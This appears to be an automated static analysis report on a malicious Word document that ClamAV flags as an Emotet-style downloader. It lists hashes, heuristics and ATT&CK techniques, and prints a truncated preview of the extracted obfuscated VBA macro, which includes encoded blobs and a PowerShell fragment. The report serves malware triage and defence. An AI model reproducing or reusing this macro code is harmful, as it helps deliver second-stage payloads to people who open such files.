Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 216ddcaf2af63291…

MALICIOUS

Office (OLE)

147.5 KB Created: 2018-03-23 05:25:00 Authoring application: Microsoft Office Word First seen: 2018-06-14
MD5: 9770eb8b7373c623032f9765d0a7b61a SHA-1: 97f65d69e0a1305ac12e41c94b40f180bb521944 SHA-256: 216ddcaf2af632911e52674bfd6f051cb28d637e83f51a0da2c74032f10d4f9e
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV and contains a VBA macro with an AutoOpen function. This macro utilizes CreateObject, a common technique for executing malicious code. The script appears to be obfuscated but is designed to download and execute a second-stage payload, as indicated by the heuristic firings and the presence of a VBA macro.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 45100 bytes
SHA-256: 5785f046925abd60b025e691ab3c2e934145f74ce0f9d57c33c380420131bbcf
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 27 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jqRmnGCwQdiuKj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dSObSWYrjYfim"
Function IGOsjbjN()
On Error Resume Next
Select Case izPUVZ
         Case 90923
            WbTnMb = Hex(43348 - CSng(95424) - 84299 + ChrW(hYEJrD))
            aisHW = jaqjd
End Select
hUqYAOz = ijpHj("BaQA0ADUAZABiADMAZQBmAGQANwBhADgAYQBiADEAYgBiAGYAZAA3ADIAYwA2ADMAZQA2ADAAMAA3AGQAMgA3AGIAMAA0ADkAYQBhAGQAOABiADQAMABkADkAMwAyADMAOQAyAGEANABlADcAZgBkADICZS7k0r", 3, 150)
Select Case jGCamL
         Case 4202
            GEwiF = Hex(55431 - CSng(98602) - 21384 + ChrW(XYHMKv))
            CizPmN = usPIW
End Select
Select Case krkXF
         Case 69465
            YiSOw = Hex(69889 - CSng(34674) - 15046 + ChrW(rnOlw))
            oLVjTa = qESmR
End Select
ZjPivH = ijpHj("nZ6HcJ51Ml", 2, 1)
Select Case joqhSZ
         Case 72190
            INPpR = Hex(65533 - CSng(89597) - 41194 + ChrW(pVVzDZ))
            YRdJo = wJSrb
End Select
Select Case JGnucm
         Case 21025
            BrwOAK = Hex(15142 - CSng(29570) - 17892 + ChrW(wraHlv))
            LnwsSf = iiFsUQ
End Select
TShkNhrdM = ijpHj("sQAGIAZQA0ADIAZgAwAGYAMQA3ADcAMAAxAGQAMwA5ADYAOAA5ADQAMwA4AGYAYQA2AGEAMgA1ADcAMABlADAAZAAxADkANQA1ADgAZgBiADQAZgAwAGEAOQAxADYANwBlADAAYQA1ADgAZQA1ADkAZABhADcANQAyAGIAZgAxAGIAM3q2T", 3, 173)
Select Case IFwJu
         Case 63861
            URihrf = Hex(71485 - CSng(33073) - 24220 + ChrW(UrAQw))
            viLQf = EPvsX
End Select
Select Case zYdhCQ
         Case 36975
            wsGMX = Hex(38810 - CSng(44693) - 76845 + ChrW(nEiVf))
            kTlNfT = cHCzS
End Select
WOYjSwtP = ijpHj("3nB%EA4AGUAMAA5ADYAMgAyADIANwA5ADIANgAwADIAMAAyADIANwBjAGQAMwBmADMANQBiADUA' |cONvertTo-secuRESTrINg -K (165..150)) ) ) ) | &( $PshOmE[bTMW", 6, 130)
Select Case rzpND
         Case 72634
            JiwiDE = Hex(7307 - CSng(80919) - 97469 + ChrW(QYTisN))
            DnCjQ = KZBUwN
End Select
Select Case FGKOKA
         Case 69822
            AaIVo = Hex(41290 - CSng(26083) - 44341 + ChrW(VmWdN))
            rXOqh = jQSMEM
End Select
bvVEiUo = ijpHj("%i7BiADIAMwAzADYAMwBjAGMANgAzAGIAYwA2AGYAYwA3AGIAYQA1ADgAOQBiAGEAMAAzADMAMwAyAGIAZgAwAGMAOQBkADcAMQAzADkANgBmADEAZAA0ADMAYwA2ADgAOQBjADYAMQAzADgAMwA0ADIANAA0AGYANQA2ADcAYwA3ADAAMwA4ADUiF2", 4, 181)
Select Case IXiHGz
         Case 92280
            ZfwqF = Hex(72998 - CSng(80290) - 75695 + ChrW(jSrwSq))
            JCUTKq = jIfOi
End Select
Select Case OzLjrQ
         Case 88299
            zGAQDp = Hex(69531 - CSng(46167) - 32065 + ChrW(YsXltD))
            Owswi = pukjq
End Select
EbbTP = ijpHj("ttquYAyAGIAYQBmAGEAYwBmAGYANQBlADcAYQA1ADAANwBiADcAYwBjADAAZQBjADYAMgA1ADgANwBiADcANwA4AGEAOAAwAGQAZgBlADUAMAA1ADAANQA0ADAAMz7", 6, 119)
Select Case DioYX
         Case 62293
            daMILZ = Hex(47829 - CSng(10510) - 73328 + ChrW(EcFHUd))
            BjQmK = SFtTN
End Select
Select Case bsBbK
         Case 37802
            jHEHk = Hex(64420 - CSng(24248) - 75614 + ChrW(rhQYBR))
            FwHRFz = NPFdU
End Select
DDnaiV = ijpHj("PW8AGsAbgBsAFoANwA4ADAAQwA3AGsAYwBUAHcANgBEAEUAcwB0AFQATwB4AHcAPQA9AHwAYQA3X92o", 3, 72)
Select Case vkiFw
         Case 96017
            iHiQt = Hex(27181 - CSng(88740) - 70378 + ChrW(drwJB))
            fCCFlz = sfDsQi
End Select
Select Case TwkSc
         Case 3374
            QXbifL = Hex(17297 - CSng(62726) - 77708 + ChrW(BdcZI))
            DfbPui = UqcUm
End Select
fFanMtKF = ijpHj("fcAYwA0ADIAMABlAGQAMABjAGEAZgBjADkANQBjADIAMwAxADIANAA0AGMANAAwAGMAZQAwAGYAMgBlADkAZgBlADIAYgAzADYANABjADEAZgAwAGEAYQBjADgANAA5ADYAYgA1ADkANwBmA2wrk8", 3, 142)
Select Case oOTjJ
         Case 20694
            KMhFZl = Hex(78971 - CSng(2640) - 85358 + ChrW(TlLVj))
            BlzhOH = DqWMzF
End Select
Select Case vTnmzY
         Case 79943
            XNiGH = Hex(22112 - CSng(96142)
... (truncated)

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